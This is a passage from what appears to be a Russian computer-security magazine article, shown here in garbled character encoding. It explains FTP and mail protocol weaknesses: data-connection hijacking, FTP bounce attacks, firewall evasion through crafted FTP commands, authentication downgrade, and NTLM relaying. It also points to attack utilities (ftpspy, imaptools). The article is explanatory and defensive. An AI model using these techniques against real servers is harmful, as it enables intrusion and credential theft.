òî ïîñòîðîííèé? Ýòî çíà÷èò, ÷òî êîãäà
êëèåíò äàñò êîìàíäó íà ïîëó÷åíèå
èëè õðàíåíèå ôàéëà, ñåðâåð îòäàñò
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ôàéë ïîñòîðîííåìó èëè ïîëó÷èò
ôàéë, ëþáåçíî ïðåäîñòàâëåííûé ïîñ-
òîðîííèì, à êëèåíò îñòàíåòñÿ íè ñ
÷åì. Òàêàÿ ñèòóàöèÿ íàçûâàåòñÿ ïå-
ðåõâàòîì ñîåäèíåíèÿ äàííûõ (DATA
connection hijack). Êàê ïîñòîðîííèé
ìîæåò óçíàòü ïîðò, íàçíà÷åííûé ñåð-
âåðîì, åñëè îí íå âèäåë îòâåòà íà êî-
ìàíäó PASV â êîíòðîëüíîì ñîåäèíå-
íèè? Äëÿ ýòîãî åìó ìîæåò áûòü äîñòà-
òî÷íî óñòàíîâèòü ñâîå êîíòðîëüíîå
ñîåäèíåíèå è äàòü êîìàíäó PASV. Â
áîëüøèíñòâå ñëó÷àåâ, åñëè îí ñäåëà-
åò ýòî íåïîñðåäñòâåííî ïåðåä ñîåäè-
íåíèåì êëèåíòà, îí ïîëó÷èò ïîðò íà
åäèíè÷êó íèæå è ìîæåò ïîïûòàòüñÿ
àòàêîâàòü ñëåäóþùèé ïîðò.

Äðóãàÿ êëàññè÷åñêàÿ àòàêà ñ èñ-
ïîëüçîâàíèåì îñîáåííîñòåé ïðîòîêî-
ëà FTP ñâÿçàíà ñ êîìàíäîé PORT. ×òî
åñëè ïîïðîñèòü FTP-ñåðâåð ïîäêëþ-
÷èòüñÿ ê èíòåðåñóþùåìó íàñ ïîðòó
ïîñòîðîííåãî êîìïüþòåðà? Åñëè ïîðò
çàêðûò, òî ìû ñðàçó ïîëó÷èì ñîîáùå-
íèå îá îøèáêå. À åñëè ïîðò îòêðûò?
Ìû ìîæåì çàñëàòü òóäà ëþáîé ôàéë,
õðàíÿùèéñÿ íà FTP-ñåðâåðå, äàâ êî-
ìàíäó íà ïîëó÷åíèÿ ôàéëà. Òàêèì îá-
ðàçîì, ìû ìîæåì èñïîëüçîâàòü FTP-
ñåðâåð äëÿ àòàê íà ÷óæîé êîìïüþòåð,
îñòàâàÿñü ïðè ýòîì â òåíè. Ïðè÷åì åñ-
ëè FTP-ñåðâåð ñòîèò íà ïîãðàíè÷íîì
êîìïüþòåðå, ìû ìîæåì àòàêîâàòü
êîìïüþòåð, íàõîäÿùèéñÿ âî âíóòðåí-
íåé ñåòè. Òàêàÿ òåõíèêà íàçûâàåòñÿ
FTP bounce attack (çâó÷èò êàê àòàêà
ðèêîøåòîì îò FTP).

Íî áîëüøå âñåãî ìàòåðíûõ ñëîâ â
àäðåñ ïðîòîêîëà FTP áûëî ñêàçàíî,
ðàçóìååòñÿ, ðàçðàáîò÷èêàìè ðàçëè÷-
íûõ ñðåäñòâ çàùèòû, êîòîðûå äîëæíû
áûëè îáåñïå÷èòü ðàáîòó ýòîãî FTP.
Êàê, íàïðèìåð, îáåñïå÷èòü ðàáîòó
FTP-êëèåíòà ñ åãî îáðàòíûìè ñîåäè-
íåíèÿìè â àêòèâíîì ðåæèìå ÷åðåç
NAT? Èëè ðàáîòó FTP-ñåðâåðà â ïàñ-
ñèâíîì ðåæèìå ñ åãî ñîåäèíåíèÿìè
íà ñëó÷àéíûå íåïðèâèëåãèðîâàííûå
ïîðòû çà áðàíäìàóýðîì? Îòêðûâàòü
âñå ïîðòû? Åäèíñòâåííîå ðåøåíèå,

êîòîðîå è èñïîëüçóþò ðàçðàáîò÷èêè, �
ýòî ñëåäèòü çà êîìàíäàìè, ïåðåäàâàå-
ìûìè â êîíòðîëüíîì ñîåäèíåíèè èëè
îòâåòàìè ñåðâåðà. Íàïðèìåð, ñëåäèòü
çà îòâåòîì ñåðâåðà íà êîìàíäó PASV
è ðàçðåøàòü ñîåäèíåíèå íà óêàçàí-
íûé èì ïîðò. Îäíàêî åñëè ôàéðâîë
ðàáîòàåò íà ñåòåâîì óðîâíå è àíàëè-
çèðóåò äàííûå òîëüêî îäíîãî IP-ïàêå-
òà, åãî ìîæíî îáìàíóòü, "çàñòàâèâ"
FTP-ñåðâåð ñãåíåðèðîâàòü ïàêåò ñ
íóæíûìè äàííûìè. Íàïðèìåð, âûäàâ
äëèííóþ, çàâåäîìî íåïðàâèëüíóþ
êîìàíäó, ñîäåðæàùóþ â êîíöå íóæ-
íûå íàì äàííûå. Ïðè îòâåòå ñåðâåðà
ñîîáùåíèåì îá îøèáêå, â êîòîðîì
ñåðâåð ïîâòîðèò êîìàíäó, áóäåò
ñôîðìèðîâàíî íåñêîëüêî IP-ïàêåòîâ.
Ìîæíî óãàäàòü ðàçìåð êîìàíäû òàê,
÷òîáû íóæíûå íàì äàííûå ïðèøëèñü
íà íà÷àëî âòîðîãî ïàêåòà, è òàêèì îá-
ðàçîì çàñòàâèòü ôàéðâîë îòêðûòü
íóæíûé ïîðò.

Åùå îäíà ìåíåå ðàñïðîñòðàíåííàÿ
àòàêà ïîçâîëÿåò ïðîñêàíèðîâàòü ïîð-
òû ñàìîãî FTP-ñåðâåðà. Äëÿ ýòîãî êî-
ìàíäà PASV äàåòñÿ ìíîæåñòâî ðàç.
Ðàçóìååòñÿ, ñåðâåðîì îòêðûâàþòñÿ
òîëüêî òå ïîðòû, êîòîðûå áûëè ñâî-
áîäíû, ÷òî ïîçâîëÿåò îáíàðóæèòü
"çàíÿòûå" ïîðòû.

Êàê ðåøàþòñÿ âñå ýòèì ïðîáëåìû?
Áîëüøèíñòâî FTP-ñåðâåðîâ ïîæåðò-
âîâàëè âîçìîæíîñòüþ ïðÿìîé ïåðå-
äà÷è ôàéëîâ ñ ñåðâåðà íà ñåðâåð è
òðåáóþò, ÷òîáû ñîåäèíåíèå íà ïîðò
äàííûõ ïðèõîäèëî ñ òîãî æå àäðåñà,
÷òî è êîíòðîëüíîå ñîåäèíåíèå. Òî æå
êàñàåòñÿ è êîìàíäû PORT. Òðþê ñî
ñêàíèðîâàíèåì ïîðòîâ ÷åðåç PASV âî
ìíîãèõ ñåðâåðàõ åùå ïðîõîäèò, õîòÿ
êîå-ãäå ïîðòû îòêðûâàþòñÿ â ñëó÷àé-
íîì ïîðÿäêå èç îãðàíè÷åííîãî äèàïà-
çîíà. Ñîâðåìåííûå ôàéðâîëû èñ-
ïîëüçóþò òåõíèêó stateful inspection,
ïðè êîòîðîé "ðåêîíñòðóèðóåòñÿ" ïðî-
òîêîë ïðèêëàäíîãî óðîâíÿ, à íå ó÷è-
òûâàþòñÿ äàííûå îòäåëüíûõ ïàêåòîâ,
÷òî óñòðàíÿåò âîçìîæíîñòü îáõîäà
ôàéðâîëîâ...

ÍÓ À ×ÒÎ ÆÅ Ñ 
FTP-ÊËÈÅÍÒÎÌ?

Âñå êëàññè÷åñêèå àòàêè FTP êàñà-
þòñÿ ñåðâåðà. Äýâèä Ñåéñåðäîò íàïè-
ñàë, ÷òî àòàêà íà ïåðåõâàò ñîåäèíå-
íèÿ êðàéíå ñëîæíî ðåàëèçóåòñÿ äëÿ
ñåðâåðà è íå ðåàëèçóåòñÿ äëÿ êëèåí-
òà. Ê ñîæàëåíèþ, ñòàòüþ Äýâèäà ÿ
ïðî÷èòàë çíà÷èòåëüíî ïîçæå ïî ðåêî-
ìåíäàöèè Aleph One. Íî åå íå ÷èòàëè
è ðàçðàáîò÷èêè ñåðâåðîâ FTP. Ïîýòî-
ìó, êîãäà ëåò ÷åðåç ïÿòü ÿ èçîáðåë âå-
ëîñèïåä è çàíîâî "îòêðûë" ýòó ïðîá-
ëåìó, âñå áûëî â ïåðâîçäàííîì âèäå.
Ïî ñ÷àñòëèâîìó ñòå÷åíèþ îáñòîÿ-
òåëüñòâ è èç-çà ñâîåé ïðèðîäíîé ëåíè
âìåñòî ñòàòüè ÿ íàïèñàë âåñüìà ïðîñ-
òåíüêóþ óòèëèòêó ftpspy, êîòîðàÿ èñ-
ïîëüçîâàëà îáû÷íûé connection flood
è óñïåøíî ñðàáàòûâàëà ñ âåðîÿò-
íîñòüþ áîëåå 50% íà áîëüøèíñòâå
æèâøèõ òîãäà FTP-ñåðâåðîâ. 

À òàêæå è íà FTP-êëèåíòàõ, òîëüêî
íå â ïàññèâíîì, à â àêòèâíîì ðåæèìå.
Ïðàâäà, äëÿ àòàêè íà FTP-êëèåíòà îíà
òðåáîâàëà, ÷òîáû íà òîé æå ìàøèíå
ïðèñóòñòâîâàë FTP-ñåðâåð, ÷òîáû
èìåòü âîçìîæíîñòü "óãàäàòü" ïîðò.
Åñëè ïîðòû íàçíà÷àþòñÿ ñèñòåìîé
ïîäðÿä, òî ïîðò ìîæíî óãàäàòü è äðó-
ãèì ñïîñîáîì, íàïðèìåð "ïðîãíàâ"
ïèñüìî ÷åðåç ïî÷òîâûé ñåðâåð. Èñ-
ïîëüçóÿ òåõíèêè Stealth-ñêàíèðîâà-
íèÿ, ìîæíî íàáëþäàòü çà äîñòàòî÷íî
ìíîãèìè ïîðòàìè îäíîâðåìåííî. 

Ïîäðîáíåå îá èñòîðèè ftpspy ìîæ-
íî ïðî÷èòàòü íà www.security.nnov.ru/articles
(êðîìå èñòîðè÷åñêîé öåííîñòè èç
íåå íå èçâëå÷ü íè÷åãî, òàê êàê â îñ-
íîâíîì ñèñòåìû èìåþò åñëè íå áåçî-
ïàñíûå FTP-ñåðâåðû, òî õîòÿ áû çà-
ùèòó îò SYN-ôëóäà).

Âñå ïåðå÷èñëåííîå òðåáóåò îò ìåíÿ
óïîìÿíóòü ïðîáëåìó îáõîäà áðàíäìà-
óýðà ÷åðåç êëèåíò FTP. Çàñòàâèâ êëè-
åíò çàãðóçèòü ôàéë ñ õîðîøî ïîäîã-
íàííûì äëèííûì èìåíåì ñ òâîåãî
FTP-ñåðâåðà, ìîæíî "ïîääåëàòü" êî-
ìàíäó PORT è çàñòàâèòü áðàíäìàóýð,
ïåðñîíàëüíûé áðàíäìàóýð èëè NAT ñ
òðàíñëÿöèåé ïîðòîâ, çàùèùàþùèé
êëèåíòà, ïðîáðîñèòü TCP-ïîðò íà èí-
òåðåñóþùèé ïîðò êëèåíòà (íàïðèìåð
139). IP-àäðåñ, êàê ïðàâèëî, êîíòðîëèðó-
åòñÿ, ïîýòîìó äàëüíåéøàÿ àòàêà äîëæ-
íà ïðîâîäèòüñÿ ñ òîãî æå ñåðâåðà.

Òåïåðü òû çíàåøü îñíîâíûå íåäîñ-
òàòêè FTP ñ òî÷êè çðåíèÿ êëèåíòà:
âîçìîæíîñòü ïåðåõâàòà äàííûõ, íå-
äîñòàòî÷íàÿ ñòàíäàðòèçèðîâàííîñòü
è ïëîõàÿ ñîâìåñòèìîñòü ñ áðàíäìàóý-
ðàìè. Ýòî ñàìî ïî ñåáå óæå äîñòàòî÷-
íûé ïîâîä èçáåãàòü èñïîëüçîâàíèÿ
FTP âåçäå, ãäå òîëüêî ìîæíî :). 

ÏÐÎÁËÅÌÛ
"ÌÎÍÑÒÐÎÈÄÀËÜÍÛÕ"
ÏÐÎÒÎÊÎËÎÂ

Î÷åíü ÷àñòî ïðîáëåìû ñâÿçàíû ñ
ïîïûòêîé ðàçðàáîò÷èêà ñäåëàòü ïðî-
òîêîë ñëèøêîì óíèâåðñàëüíûì è îïè-
ñàòü â íåì êàê ìîæíî áîëüøå ôóíê-
öèé. Èç-çà ýòîãî ïîëó÷àåòñÿ "ìîíñòð",
ðåàëèçîâàòü êîòîðûé ÷ðåçâû÷àéíî
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FTP èçíà÷àëü-
íî íå áûë îðè-
åíòèðîâàí íà
êëèåíòà, ïîý-
òîìó íàðÿäó ñ
ìíèìûì óäîá-
ñòâîì ïðèâíåñ
è ìíîæåñòâî
ïðîáëåì.

Äûðêè â êëèå-
íòñêîì ïðèëî-
æåíèè ìîãóò
âîçíèêíóòü èç-
çà íàñòðîåê ïî
óìîë÷àíèþ -
èç-çà âûáðàí-
íîãî ïðîòîêîëà
èëè ñòàíäàðòà.



ñëîæíî è åùå ñëîæíåå ñîáëþñòè ïðè
ýòîì áåçîïàñíîñòü â íåì. Â êà÷åñòâå
èëëþñòðàöèè ìîæíî ïðèâåñòè ïðîòî-
êîëû IMAPv4 è POPv3. 

POPv3 - äîñòàòî÷íî ëåãêîâåñíûé
ïðîòîêîë ñ ìèíèìàëüíûì íàáîðîì êî-
ìàíä äëÿ ïîëó÷åíèÿ ïî÷òû. IMAPv4 �
ãðóçíûé ìîíñòð, êîòîðûé ïðåäíàçíà-
÷åí äëÿ ðåàëèçàöèè ïî÷òû â "ëåãêîì"
êëèåíòå: â íåì âñå ôóíêöèè (ñîðòè-
ðîâêè, ïîèñêà è õðàíåíèÿ ñîîáùåíèé,
àíàëèçà ñòðóêòóðû ñîîáùåíèÿ, ðàáî-
òû ñ âëîæåííûìè ôàéëàìè è ò.ä.) ïå-
ðåêëàäûâàþòñÿ íà ñåðâåð. Ê ÷åìó ýòî
ïðèâåëî? Ê òîìó, ÷òî êðîìå åäèí-
ñòâåííîé ïðîãðàììû pine, íàïèñàííîé
ñàìèìè ðàçðàáîò÷èêàìè ïðîòîêîëà,
íèêòî íå ïîääåðæèâàåò IMAPv4 â ïîë-
íîì îáúåìå. Íè îäíà äðóãàÿ ïðîãðàì-
ìà, âêëþ÷àÿ âñå ïîïóëÿðíûå ïî÷òî-
âûå àãåíòû, íå èñïîëüçóåò íèêàêîé
ôóíêöèîíàë IMAP, êîòîðîãî íå áûëî
áû â POP (øèðîêàÿ îáùåñòâåííîñòü
ãëóáîêî çàáëóæäàåòñÿ, äóìàÿ, ÷òî
POP3 íå ïîääåðæèâàåò õðàíåíèå ïè-
ñåì íà ñåðâåðå, ïðîñìîòð ÷àñòè ñîîá-
ùåíèÿ, âûáîðî÷íîå ïîëó÷åíèå èëè
óäàëåíèå ñîîáùåíèé). Â òîæå âðåìÿ
IMAPv4 ïîçâîëÿåò ðàáîòàòü, íàïðè-
ìåð, ñ ëþáûìè ôàéëàìè, íàõîäÿùèìè-
ñÿ íà ñåðâåðå, çà ïðåäåëàìè ïî÷òîâîé
ïàïêè èëè ÿùèêà ïîëüçîâàòåëÿ, î ÷åì
àäìèíèñòðàòîðû î÷åíü ÷àñòî äàæå íå
äîãàäûâàþòñÿ. Íàáîð óòèëèò (www.securi-
ty.nnov.ru/files/imaptools.tgz) ïîçâîëÿåò ïðîñìàò-
ðèâàòü, ïîëó÷àòü è óäàëÿòü ëþáûå
ôàéëû ñ ïðàâàìè ïî÷òîâîãî ïîëüçî-
âàòåëÿ ÷åðåç ñåðâåð imap-uw.

2. ÎÁÙÈÅ ÏÐÎÁËÅÌÛ
ÐÀÇËÈ×ÍÛÕ ÏÐÎÒÎÊÎËÎÂ -
ÀÓÒÅÍÒÈÔÈÊÀÖÈß
ÏÎËÜÇÎÂÀÒÅËß

Äðóãàÿ ðàñïðîñòðàíåííàÿ ïðîáëå-
ìà ïðèëîæåíèÿ, âîçíèêàþùàÿ åùå äî
çàâåðøåíèÿ åãî íàïèñàíèÿ, � âûáîð
ïðîòîêîëà àóòåíòèôèêàöèè ïîëüçîâà-
òåëÿ. Àóòåíòèôèêàöèÿ � ýòî ïðîöåññ, â
ðåçóëüòàòå êîòîðîãî ñåðâåð óçíàåò,
êåì ÿâëÿåòñÿ ïîäêëþ÷àþùèéñÿ ïîëü-
çîâàòåëü. Â íàñòîÿùåå âðåìÿ íàèáî-
ëåå ðàñïðîñòðàíåííûì ìåòîäîì àó-
òåíòèôèêàöèè äëÿ ñåðâèñîâ Internet
ÿâëÿåòñÿ ïðîâåðêà èìåíè è ïàðîëÿ
ïîëüçîâàòåëÿ. 

×òî ìîæíî ñêàçàòü î íàèáîëåå ðàñï-
ðîñòðàíåííûõ ïðîòîêîëàõ?

Ïðîòîêîë ïåðåäà÷è ïî÷òû SMTP
(äåéñòâóþùèì ñòàíäàðòîì ÿâëÿåòñÿ

RFC 821, áîëåå ñâåæèé RFC 2821 íå
ïîëó÷èë òàêîãî ñòàòóñà è, ñêîðåå âñå-
ãî, íèêîãäà íå ïîëó÷èò) íå ïðåäóñìàò-
ðèâàåò àóòåíòèôèêàöèè ïîëüçîâàòå-
ëÿ. Ïî èäåå ýòî îçíà÷àåò, ÷òî SMTP-
ñåðâèñîì ìîæåò ïîëüçîâàòüñÿ ëþáîé
æåëàþùèé, è êàæäàÿ æå ñîáàêà ñìî-
æåò ïîäìåíèòü àäðåñ îòïðàâèòåëÿ ñî-
îáùåíèÿ èëè ðàçîñëàòü ñïàì ÷åðåç
ïî÷òîâûé ñåðâèñ. Íà ïðàêòèêå èñ-
ïîëüçóåòñÿ àóòåíòèôèêàöèÿ è àâòîðè-
çàöèÿ (îïðåäåëåíèå, êàêèìè èìåííî
ôóíêöèÿìè ñåðâåðà ìîæåò ïîëüçî-
âàòüñÿ êëèåíò) ïî IP-àäðåñó. Êàê ïðà-
âèëî, ïî÷òîâûé ñåðâåð íå ïîçâîëÿåò
êëèåíòàì "÷óæèõ" ñåòåé èñïîëüçîâàòü
ñåðâåð â êà÷åñòâå ðåëåÿ, òî åñòü îòï-
ðàâëÿòü ïî÷òó êîìó-ëèáî, êðîìå ïîëó-
÷àòåëåé, îáñëóæèâàåìûõ äàííûì ñåð-
âåðîì. Èìååòñÿ ðàñøèðåíèå ïðîòîêî-
ëà SMTP - C 2554, êîòîðîå ïðåäóñìàò-
ðèâàåò âîçìîæíîñòü àóòåíòèôèêàöèè
è ïîäðàçóìåâàåò, ÷òî îñíîâíûì ìåòî-
äîì àóòåíòèôèêàöèè äîëæíà áûòü àó-
òåíòèôèêàöèÿ ïî ìåòîäó çàïðîñ-îò-
âåò. Îäíàêî íà ïðàêòèêå íàèáîëåå
ðàñïðîñòðàíåííûì è ñîâìåñòèìûì ìå-
òîäîì ÿâëÿåòñÿ AUTH LOGIN, ïðè êî-
òîðîì ëîãèí è ïàðîëü ïîëüçîâàòåëÿ
ïåðåäàþòñÿ â îòêðûòîì âèäå. Ïðîâå-
ðèòü, êàêèå ïðîòîêîëû àóòåíòèôèêà-
öèè ïîääåðæèâàþòñÿ ñåðâåðîì, ìîæ-
íî ñ ïîìîùüþ êîìàíäû EHLO:

Äàííûé ñåðâåð ïîääåðæèâàåò àó-
òåíòèôèêàöèþ ïî ìåòîäó LOGIN (îòê-
ðûòûì ïàðîëåì), NTLM è GSSAPI.

Ïðîòîêîë HTTP (äåéñòâóþùèé ñòàí-
äàðò RFC 2616) îïðåäåëÿåò âîçìîæ-
íîñòü àóòåíòèôèêàöèè ïîëüçîâàòåëÿ,
íî íå äàåò êàêèõ-ëèáî êîíêðåòíûõ ìå-
õàíèçìîâ. RFC 2617 îïðåäåëÿåò âîç-
ìîæíîñòü àóòåíòèôèêàöèè ïàðîëåì â
îòêðûòîì òåêñòå, íàçûâàåìóþ â HTTP
Basic èëè ïî ìåòîäó çàïðîñ-îòâåò

(challenge/response), êîòîðûé â HTTP
íàçûâàåòñÿ Digest. Îäíàêî àóòåíòè-
ôèêàöèÿ ïàðîëåì â îòêðûòîì âèäå íà
ñåãîäíÿ ÿâëÿåòñÿ åäèíñòâåííûì ìåòî-
äîì, ïîääåðæèâàåìûì âî âñåõ ðàñï-
ðîñòðàíåííûõ áðàóçåðàõ è web-ñåðâå-
ðàõ. Ïîääåðæèâàåìûå ñåðâåðîì ìåòî-
äû àóòåíòèôèêàöèè âèäíû èç çàãî-
ëîâêà WWW-Authenticate, êîòîðûé
ñåðâåð äàåò ïðè çàïðîñå íà àóòåíòè-
ôèêàöèþ:

Content-Length: 1037
Content-Type: text/html
Server: Microsoft-IIS/6.0
WWW-Authenticate: Basic www.domain.example
WWW-Authenticate: Negotiate
WWW-Authenticate: NTLM
X-Powered-By: ASP.NET
Date: Wed, 13 Jul 2005 20:33:28 GMT

Âèäíî, ÷òî ñåðâåð ïîääåðæèâàåò àó-
òåíòèôèêàöèþ Basic, Negotiate è
NTLM.

Ïðîòîêîë FTP ïîääåðæèâàåò èñêëþ-
÷èòåëüíî àóòåíòèôèêàöèþ â îòêðûòîì
òåêñòå, õîòÿ è äëÿ íåãî åñòü ðàñøèðå-
íèÿ, àíàëîãè÷íûå AUTH â SMTP äëÿ àó-
òåíòèôèêàöèè ìåòîäîì çàïðîñ-îòâåò.

Ïðîòîêîë POP3 (RFC 1939) ïîääåð-
æèâàåò äâà ìåòîäà àóòåíòèôèêàöèè:
àóòåíòèôèêàöèþ â îòêðûòîì òåêñòå è
àóòåíòèôèêàöèþ APOP ïî ìåòîäó çàï-
ðîñ-îòâåò. Êðîìå òîãî, îïÿòü æå èìå-
þòñÿ ðàñøèðåíèÿ, àíàëîãè÷íûå AUTH
â SMTP. Îòëè÷èòü ñåðâåð, ïîääåðæè-
âàþùèé APOP, äîñòàòî÷íî ëåãêî ïî
áàííåðó ñåðâåðà.

+OK Microsoft Exchange Server 2003 POP3 server version
6.5.7226.0 (pop3-1.domain.example) ready.

Ýòîò ñåðâåð íå ïîääåðæèâàåò APOP.

+OK 3APA3A/POP3-2.0-RC5.1 <3707.1121287575@ pop3-
2.domain.example >

À ýòîò ñåðâåð ïîääåðæèâàåò APOP,
÷òî âèäíî ïî ÷àñòè ïðèâåòñòâèÿ, çàê-
ëþ÷åííîé â óãëîâûå ñêîáêè. Ýòà
÷àñòü ïðèâåòñòâèÿ èñïîëüçóåòñÿ â
APOP â êà÷åñòâå çàïðîñà (challenge). 

Íåñêîëüêî ñëîæíåå ñ ïîääåðæêîé
ðàñøèðåííîé àóòåíòèôèêàöèè ïî ìå-
òîäàì AUTH. Åå íàëè÷èå è ðàçðåøåí-
íûå ìåòîäû èíîãäà ìîæíî ïðîâåðèòü
ñ ïîìîùüþ êîìàíä CAPA èëè êîìàí-
äû AUTH áåç ïàðàìåòðîâ. 
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Íåêîòîðûå
êëèåíòñêèå
ïðèëîæåíèÿ
âûáèðàþò ïðî-
òîêîë àóòåíòè-
ôèêàöèè íà
àâòîìàòå.
Ìîæíî ñêëî-
íèòü ïîëüçîâà-
òåëÿ ê âûáîðó
áîëåå ïðîáèâà-
åìîãî ïðîòîêî-
ëà - âïëîòü äî
îòêðûòîãî
òåêñòà :).

×åì ñëîæíåå
ïðîòîêîë, òåì
âûøå âåðîÿò-
íîñòü íàëè÷èÿ
áðåøè â íåì.
Íóæíî òîëüêî
íàéòè.

ÁÅÇÎÏÀÑÍÎÑÒÜ ÑÅÒÅÂÛÕ ÏÐÎÒÎÊÎËÎÂ86 ÏÐÎÒÎÊÎË



ÀÓÒÅÍÒÈÔÈÊÀÖÈß Â
ÎÒÊÐÛÒÎÌ ÒÅÊÑÒÅ (PLAIN
TEXT, ÎÍ ÆÅ USER/PASS Â FTP
È POP3, ÎÍ ÆÅ AUTH LOGIN Â
SMTP È IMAP, ÎÍ ÆÅ BASIC Â
HTTP)

×òî ïðåäñòàâëÿåò ñîáîé êàæäûé
ìåòîä ïàðîëüíîé àóòåíòèôèêàöèè è
êàêèå íåäîñòàòêè îí èìååò?

Íåäîñòàòêè ìåòîäà î÷åâèäíû: ïà-
ðîëü ïåðåäàåòñÿ "ïî ïðîâîäàì" îòê-
ðûòûì òåêñòîì è ìîæåò áûòü ïåðåõâà-
÷åí â ñëó÷àå ïðîñëóøèâàåìîé ðàçäå-
ëÿåìîé ñåòè ñ ïîìîùüþ ARP poison-
ing, DNS poisoning, ïðè êîìïðîìåòàöèè
ñåðâåðà èëè äðóãèìè ìåòîäàìè, îá-
ñóæäåíèå êîòîðûõ âûõîäèò çà ðàìêè
ñòàòüè. Ïðè èñïîëüçîâàíèè SMTP è
HTTP ëîãèí è ïàðîëü ïåðåäàþòñÿ â
êîäèðîâêå base64.

ÀÓÒÅÍÒÈÔÈÊÀÖÈÈ ÏÎ
CHALLENGE-RESPONSE
(ÇÀÏÐÎÑ-ÎÒÂÅÒ) Ñ ÏÎÌÎÙÜÞ
ÑÒÀÍÄÀÐÒÍÛÕ ÕÝØ-ÔÓÍÊÖÈÉ

Ê ýòèì ìåòîäàì ìîæíî îòíåñòè
APOP, AUTH CRAM-MD5 è Digest â
HTTP, ðåæå èñïîëüçóþòñÿ äðóãèå
CRAM-ìåòîäû, íàïðèìåð CRAM-MD4 è
CRAM-SHA1. Ïðè èñïîëüçîâàíèè òàêîé
àóòåíòèôèêàöèè ïàðîëü ïîëüçîâàòå-
ëÿ íèêîãäà íå ïîïàäàåò â ïðîâîäà.
Ïðè÷åì äàæå êðèïòîãðàôè÷åñêèå
ïðîáëåìû SHA-1 èëè ñëàáûå ãåíåðàòî-
ðû ñëó÷àéíûõ ÷èñåë ïðè ãåíåðàöèè
challenge ïðàêòè÷åñêè íå ñêàçûâàþò-
ñÿ íà óðîâíå çàùèòû ïàðîëÿ. Îäíàêî
ñëåäóåò ïîìíèòü, ÷òî Challenge-
Response íå çàùèùàåò îò àòàê íà ïîä-
áîð ñëàáûõ ïàðîëåé (bruteforce), åñëè
ïàðîëü êîðîòêèé èëè ïîäáèðàåòñÿ ïî
ñëîâàðþ.

ÂÑÒÐÎÅÍÍÀß
ÀÓÒÅÍÒÈÔÈÊÀÖÈß WINDOWS

Ýòî AUTH NTLM è àóòåíòèôèêà-
öèè NTLM è Negotiate â HTTP. Â
Outlook Express âñòðîåííàÿ àóòåíòè-
ôèêàöèÿ NTLM íàçûâàåòñÿ SPA
(Secure Password Authentication). Íå-
äîñòàòêè òàêîé àóòåíòèôèêàöèè:
1. Åå ïðîçðà÷íîñòü (ïðè òàêîé àó-

òåíòèôèêàöèè ñíà÷àëà ïðîáóåòñÿ èìÿ
è ïàðîëü, ñ êîòîðûìè îñóùåñòâëåí
âõîä â ñèñòåìó).
2. Íåâîçìîæíîñòü ïîäêëþ÷èòüñÿ ê

îäíîìó è òîìó æå ñåðâåðó ñ íåñêîëü-
êèìè ó÷åòíûìè çàïèñÿìè (îòíîñèòñÿ
êî ìíîãèì âåðñèÿì Windows).
3. Âîçìîæíîñòü àòàê ðåëåèíãà àó-

òåíòèôèêàöèè â ñëó÷àå NTLM.
Îá ýòîì êëàññå àòàê è äðóãèõ îñîáåí-

íîñòÿõ è íåäîñòàòêàõ NTLM ïîäðîáíî
ðàññêàçûâàåòñÿ â ñòàòüå "NTLM è êîð-
ïîðàòèâíûå ñåòè" (www.security.nnov.ru/articles/ntlm).
Èñïîëüçîâàòü âñòðîåííóþ àóòåíòèôè-
êàöèþ Windows (è â ÷àñòíîñòè SPA) ñ íå-
äîâåðåííûìè ñåðâåðàìè íè â êîåì ñëó-
÷àå íåëüçÿ!

ÀÓÒÅÍÒÈÔÈÊÀÖÈß KERBEROS
Ýòî AUTH GSSAPI è http-àóòåíòè-

ôèêàöèÿ Negotiate. Kerberos - åäèí-
ñòâåííàÿ àóòåíòèôèêàöèÿ, ïðè êîòî-
ðîé â ïðîöåññå àóòåíòèôèêàöèè ïðî-
âåðÿåòñÿ IP-àäðåñ êëèåíòà è ñåðâåðà.
Ýòî çàùèùàåò (ðàçóìååòñÿ, ïðè ïîë-
íîé è ïðàâèëüíîé ðåàëèçàöèè
Kerberos) îò àòàê ðåëåèíãà è ïîäìåíû
ñåðâåðà, îò êîòîðûõ íå ñïàñàþò âñå
ïðî÷èå âèäû àóòåíòèôèêàöèè. Ê ñî-
æàëåíèþ, èç-çà ñâîåé äîñòàòî÷íî
ñëîæíîé òîïîëîãèè â Ñåòè Kerberos
ïðàêòè÷åñêè íåïðèìåíèì, è îí èñ-
ïîëüçóåòñÿ ïðåèìóùåñòâåííî â êîð-
ïîðàòèâíûõ ñåòÿõ, òàê êàê ïîäîáíóþ
àóòåíòèôèêàöèþ ñëîæíî èñïîëüçî-
âàòü ÷åðåç NAT èëè ïðîêñè.

Âî ìíîãèõ ñëó÷àÿõ êëèåíòñêîå ïðè-
ëîæåíèå ñàìîñòîÿòåëüíî âûáèðàåò
íàèáîëåå "ìîùíûé" ïðîòîêîë àóòåí-
òèôèêàöèè. Òàê ïîñòóïàþò, íàïðèìåð,
ïðàêòè÷åñêè âñå êëèåíòû HTTP (áðàó-
çåðû). Õîòÿ áûâàþò è äîñàäíûå íåäî-
ðàçóìåíèÿ, íàïðèìåð â Mozilla Firefox
(www.security.nnov.ru/Fnews19.html).

Íà ïåðâûé âçãëÿä, òàêîå ïîâåäåíèå
âïîëíå îïðàâäàííî, íî ó íåãî åñòü îã-
ðîìíûé íåäîñòàòîê: àòàêóþùèé, êîòî-
ðûé èìååò âîçìîæíîñòü êîíòðîëèðî-
âàòü òðàôèê ìåæäó êëèåíòîì è ñåðâå-
ðîì (àêòèâíûå àòàêè Man-in-the-
Middle, íàïðèìåð â ñëó÷àå ïîäìåíû
ñåðâåðà èëè ðåëåèíãà ñîåäèíåíèÿ),
ìîæåò "çàñòàâèòü" êëèåíòà ïåðåïîëç-
òè íà áîëåå ìÿãêèé ïðîòîêîë àóòåíòè-
ôèêàöèè, âïëîòü äî îòêðûòîãî òåêñòà.

Ðàçóìååòñÿ, ïîñëå âñåãî âûøåïåðå-
÷èñëåííîãî ìîæíî ïîðåêîìåíäîâàòü
èñïîëüçîâàòü â êëèåíòñêîì ïðèëîæå-
íèè Kerberos-àóòåíòèôèêàöèþ ëèáî, â
ñëó÷àå åñëè îíà íåäîñòóïíà, àóòåíòè-
ôèêàöèþ Challenge-Response.

Êðîìå òîãî, âñå ñîâðåìåííûå ïðîòî-
êîëû ïîääåðæèâàþò TLS-âåðñèþ
(Transport Layer Security - ïðîòîêîë,
ïîãëîòèâøèé SSL). Ïðè óñëîâèè ÷òî

ðàáîòà ñ ñåðòèôèêàòàìè ðåàëèçîâàíà
íåêîððåêòíî, TLS îáåñïå÷èâàåò íà-
äåæíóþ çàùèòó äàííûõ îò ïåðåõâàòà
è ïîäìåíû, à òàêæå âçàèìíóþ àóòåí-
